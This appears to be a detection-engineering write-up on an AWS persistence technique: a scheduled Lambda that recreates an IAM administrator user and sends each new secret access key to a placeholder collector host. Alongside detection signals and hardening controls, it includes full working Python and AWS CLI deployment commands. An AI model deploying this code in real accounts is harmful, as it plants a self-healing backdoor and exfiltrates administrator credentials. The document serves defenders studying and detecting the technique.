How the technique works
A scheduled Lambda function can maintain a self-healing IAM administrator backdoor. On each invocation, it checks for a specific IAM user, recreates the user when absent, restores the AdministratorAccess policy when detached, and creates a new access key when the user has no active key. Each newly created secret key is sent to a C2 while it is still available in the CreateAccessKey response.
Deleting the IAM user once is not enough: the next Lambda invocation recreates an AdministratorAccess user and sends a new long-term access key to the attacker.
The credential-bearing identity must be an IAM user, not an IAM role. Roles do not own long-term access keys. They produce temporary credentials when assumed. AdministratorAccess is an AWS managed policy that grants Action: * on Resource: *, and it can be attached directly to a user.[1][2]
flowchart TB
P([Compromised principal])
L[AWS Lambda watchdog]
S[EventBridge schedule]
U[IAM backdoor user]
A[AdministratorAccess policy]
K(Long-term access key)
C([C2 endpoint])
P -->|lambda:CreateFunction + iam:PassRole| L
P -->|events:PutRule + events:PutTargets| S
S -->|lambda:InvokeFunction every 5 min| L
L -->|iam:GetUser| U
L -.->|iam:CreateUser if missing| U
L -->|iam:AttachUserPolicy if missing| A
A --> U
L -->|iam:CreateAccessKey if none active| K
K -->|HTTPS POST| C
class P principal
class L,S,U,A awsResource
class K credential
class C c2
This is more persistent than creating an IAM user once. Removing the access key causes the function to generate another. Detaching AdministratorAccess causes it to reattach the policy. Deleting the user causes the whole IAM chain to be rebuilt on the next schedule.
Preconditions
The deployment principal needs:
lambda:CreateFunctionandiam:PassRolefor a suitable Lambda execution role.events:PutRuleandevents:PutTargetsfor the recurring rule.lambda:AddPermissionon the function so EventBridge can invoke it.
The Lambda execution role must trust lambda.amazonaws.com. For the target user, it needs iam:GetUser, iam:CreateUser, iam:ListAttachedUserPolicies, iam:AttachUserPolicy, iam:ListAccessKeys, iam:CreateAccessKey, and iam:DeleteAccessKey. The attachment permission must allow the arn:aws:iam::aws:policy/AdministratorAccess policy.[3]
These IAM permissions can be scoped to the exact user ARN, such as arn:aws:iam::111122223333:user/service/application-deployment. iam:AttachUserPolicy can also be constrained with iam:PolicyARN so the execution role can attach only the intended managed policy.[4]
The function needs outbound HTTPS access to the C2. A function outside a customer VPC has outbound internet access by default. A VPC-attached function normally needs a NAT path for public internet access.[5]
Execution
The handler keeps the user name, path, administrator policy, and C2 endpoint in the deployment package. It uses IAM read operations on every invocation, but performs mutating actions only when part of the backdoor is missing.
import json
import urllib.request
from datetime import datetime, timezone
import boto3
from botocore.exceptions import ClientError
USER_NAME = "application-deployment"
USER_PATH = "/service/"
ADMIN_POLICY_ARN = "arn:aws:iam::aws:policy/AdministratorAccess"
COLLECTOR_URL = "https://collector.example/ingest"
iam = boto3.client("iam")
def ensure_user():
try:
iam.get_user(UserName=USER_NAME)
return False
except ClientError as error:
if error.response["Error"]["Code"] != "NoSuchEntity":
raise
iam.create_user(UserName=USER_NAME, Path=USER_PATH)
iam.get_waiter("user_exists").wait(
UserName=USER_NAME,
WaiterConfig={"Delay": 1, "MaxAttempts": 20},
)
return True
def ensure_admin_policy():
response = iam.list_attached_user_policies(UserName=USER_NAME)
attached = {
policy["PolicyArn"] for policy in response["AttachedPolicies"]
}
if ADMIN_POLICY_ARN not in attached:
iam.attach_user_policy(
UserName=USER_NAME,
PolicyArn=ADMIN_POLICY_ARN,
)
return True
return False
def ensure_access_key():
response = iam.list_access_keys(UserName=USER_NAME)
keys = response["AccessKeyMetadata"]
if any(key["Status"] == "Active" for key in keys):
return None
for key in keys:
iam.delete_access_key(
UserName=USER_NAME,
AccessKeyId=key["AccessKeyId"],
)
return iam.create_access_key(UserName=USER_NAME)["AccessKey"]
def beacon(access_key, context):
payload = json.dumps(
{
"function_arn": context.invoked_function_arn,
"request_id": context.aws_request_id,
"observed_at": datetime.now(timezone.utc).isoformat(),
"user_name": access_key["UserName"],
"access_key_id": access_key["AccessKeyId"],
"secret_access_key": access_key["SecretAccessKey"],
"status": access_key["Status"],
}
).encode("utf-8")
request = urllib.request.Request(
COLLECTOR_URL,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(request, timeout=3) as response:
response.read()
def lambda_handler(event, context):
user_created = ensure_user()
policy_attached = ensure_admin_policy()
access_key = ensure_access_key()
if access_key is not None:
beacon(access_key, context)
return {
"user_created": user_created,
"policy_attached": policy_attached,
"access_key_created": access_key is not None,
}
The IAM user_exists waiter polls GetUser once per second and stops after the user becomes visible. The function timeout must leave room for that IAM consistency check and the outbound request.[6]
Package and create the function with an existing execution role that has the required IAM permissions:
zip function.zip lambda_function.py
aws lambda create-function \
--function-name application-processing \
--runtime python3.13 \
--handler lambda_function.lambda_handler \
--role arn:aws:iam::111122223333:role/application-processing \
--timeout 30 \
--zip-file fileb://function.zip
Create an EventBridge rule, authorize it to invoke the function, and attach the function as the target:[7][8]
aws events put-rule \
--name application-processing-schedule \
--schedule-expression 'rate(5 minutes)'
aws lambda add-permission \
--function-name application-processing \
--statement-id allow-eventbridge-processing-schedule \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:us-east-1:111122223333:rule/application-processing-schedule
aws events put-targets \
--rule application-processing-schedule \
--targets 'Id=application-processing,Arn=arn:aws:lambda:us-east-1:111122223333:function:application-processing'
The first scheduled invocation creates the IAM user, attaches AdministratorAccess, creates an active access key, and sends the only available copy of its secret to the C2. IAM returns the secret access key only during key creation.[9]
If the user still exists with an active key, later invocations generate only IAM read events. If the user exists but the policy or active key is missing, the function restores only that component. Programmatic deletion of an IAM user requires its access keys and attached policies to be removed first, creating a window in which the scheduled function can restore them before DeleteUser succeeds.[10]
Detection
The strongest signal is a repeated self-healing sequence for one user: a deletion or removal action followed within five minutes by IAM creation actions from the same Lambda execution role. Detect CreateUser, AttachUserPolicy for AdministratorAccess, and CreateAccessKey as one chain, then look backward for DeleteUser, DetachUserPolicy, or DeleteAccessKey against the same user.
The Lambda and EventBridge provisioning chain provides earlier evidence. CreateFunction20150331 identifies the function, package digest, and execution role. PutRule records the five-minute schedule, PutTargets connects the rule to the function, and AddPermission20150331v2 authorizes EventBridge invocation.[11][12]
{
"eventTime": "2026-09-01T12:00:00Z",
"eventSource": "lambda.amazonaws.com",
"eventName": "CreateFunction20150331",
"awsRegion": "us-east-1",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::111122223333:assumed-role/DeploymentRole/session"
},
"requestParameters": {
"functionName": "application-processing",
"runtime": "python3.13",
"handler": "lambda_function.lambda_handler",
"role": "arn:aws:iam::111122223333:role/application-processing",
"code": {},
"environment": {}
},
"responseElements": {
"functionArn": "arn:aws:lambda:us-east-1:111122223333:function:application-processing",
"codeSha256": "P5VITRngl3L/kWmyVa6j5bLxE+yn+44ubt5qqYgt2JU=",
"state": "Pending",
"version": "$LATEST"
}
}
IAM records all authenticated API calls as CloudTrail management events. The Lambda execution role appears under userIdentity.sessionContext.sessionIssuer.arn, which provides the join back to the function configuration.[13][14]
Detection inputs
| Event source and name | Operation-specific fields | Why it matters |
|---|---|---|
lambda.amazonaws.com and CreateFunction20150331 |
requestParameters.functionName, role, runtime, handler, responseElements.functionArn, codeSha256 |
Establishes the watchdog function and its IAM execution role. |
events.amazonaws.com and PutRule |
requestParameters.name, scheduleExpression, state |
Establishes recurring execution. |
events.amazonaws.com and PutTargets |
requestParameters.rule, targets[].arn |
Connects the recurring rule to the Lambda function. |
iam.amazonaws.com and CreateUser |
requestParameters.userName, path, responseElements.user.arn |
Creates or recreates the backdoor identity. |
iam.amazonaws.com and AttachUserPolicy |
requestParameters.userName, policyArn |
Grants the user AdministratorAccess. |
iam.amazonaws.com and CreateAccessKey |
requestParameters.userName, responseElements.accessKey.accessKeyId, status |
Creates the long-term credential sent by the function. |
iam.amazonaws.com and DeleteAccessKey |
requestParameters.userName, accessKeyId |
May precede automatic key replacement. |
iam.amazonaws.com and DetachUserPolicy |
requestParameters.userName, policyArn |
May precede automatic administrator-policy restoration. |
iam.amazonaws.com and DeleteUser |
requestParameters.userName |
May precede complete recreation of the backdoor. |
Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, userIdentity.sessionContext.sessionIssuer.arn, sourceIPAddress, userAgent, and errorCode across these events.
Correlation logic
- Select successful
CreateUserevents initiated by an assumed role used as a Lambda execution role. - Within two minutes, join
AttachUserPolicywhere the user name matches andpolicyArnequalsarn:aws:iam::aws:policy/AdministratorAccess. - Join
CreateAccessKeyfor the same user and principal within the same two-minute window. - Raise severity when
DeleteUser,DeleteAccessKey, orDetachUserPolicytargeted that user during the previous ten minutes. - Map the execution role to Lambda functions, then map those functions to scheduled EventBridge targets. A five-minute schedule that repeatedly performs IAM reads on one user is strong supporting evidence.
- Correlate the function with periodic outbound HTTPS to a new or rare destination when Lambda network telemetry is available.
Baseline approved IAM provisioning roles, automation users, Lambda execution roles, managed-policy attachments, and EventBridge schedules. Do not broadly allowlist administrator roles. Scope exceptions to the expected principal, target user, policy ARN, function, Region, and deployment source.
Hardening
The most effective controls prevent Lambda execution roles from creating credential-bearing IAM users or granting administrator permissions.
| Control | Implementation | Why it helps |
|---|---|---|
| Lambda execution roles | Remove iam:CreateUser, iam:CreateAccessKey, and IAM permissions-management actions from Lambda execution roles unless the workload requires them. |
Removes the function’s ability to build the backdoor. |
| Role passing | Limit iam:PassRole to named Lambda execution roles and require iam:PassedToService to equal lambda.amazonaws.com.[15] |
Prevents a deployment principal from attaching an IAM-administration role to Lambda. |
| Permissions boundaries | Require an approved boundary on CreateUser with the iam:PermissionsBoundary condition key. Ensure the boundary denies IAM administration and privilege escalation. |
Keeps an attached AdministratorAccess policy from granting unrestricted permissions. |
| Policy attachment | Deny or tightly scope iam:AttachUserPolicy with iam:PolicyARN, especially for AdministratorAccess and other broad managed policies. |
Prevents the watchdog from restoring administrator privilege. |
| Access-key creation | Restrict iam:CreateAccessKey to dedicated identity workflows and approved user ARNs. |
Prevents Lambda from generating a new long-term secret. |
| Lambda deployment | Reserve lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:AddPermission, events:PutRule, and events:PutTargets for controlled deployment roles. Enforce code signing on protected functions.[16] |
Reduces who can install or replace a scheduled watchdog. |
| Network egress | Place Lambda functions that do not need public internet in private subnets without NAT, with VPC endpoints for required AWS services. | Removes the direct path used to send the secret access key to a C2. |
| Configuration monitoring | Compare Lambda functions, execution roles, EventBridge targets, IAM users, attached policies, and access keys with approved infrastructure. Alert on recreation after deletion. | Exposes the complete persistence relationship instead of treating each resource separately. |
References
AWS Managed Policy Reference, AdministratorAccess. ↩︎
AWS IAM API Reference, AttachUserPolicy. ↩︎
AWS Service Authorization Reference, Actions, resources, and condition keys for IAM. ↩︎
AWS Lambda Developer Guide, Enable internet access for VPC-connected functions. ↩︎
Boto3 API Reference, IAM.Waiter.UserExists. ↩︎
Amazon EventBridge User Guide, Creating a rule that runs on a schedule. ↩︎
Amazon EventBridge API Reference, PutTargets. ↩︎
AWS IAM API Reference, CreateAccessKey. ↩︎
AWS IAM API Reference, DeleteUser. ↩︎
detection.wiki, AWS Lambda CloudTrail events and CreateFunction sample. ↩︎
detection.wiki, EventBridge CloudTrail events and samples. ↩︎
AWS IAM User Guide, Logging IAM and AWS STS API calls with AWS CloudTrail. ↩︎
AWS Lambda Developer Guide, Logging Lambda API calls using CloudTrail. ↩︎
AWS IAM User Guide, Grant a user permissions to pass a role to an AWS service. ↩︎
AWS Lambda Developer Guide, Configuring code signing. ↩︎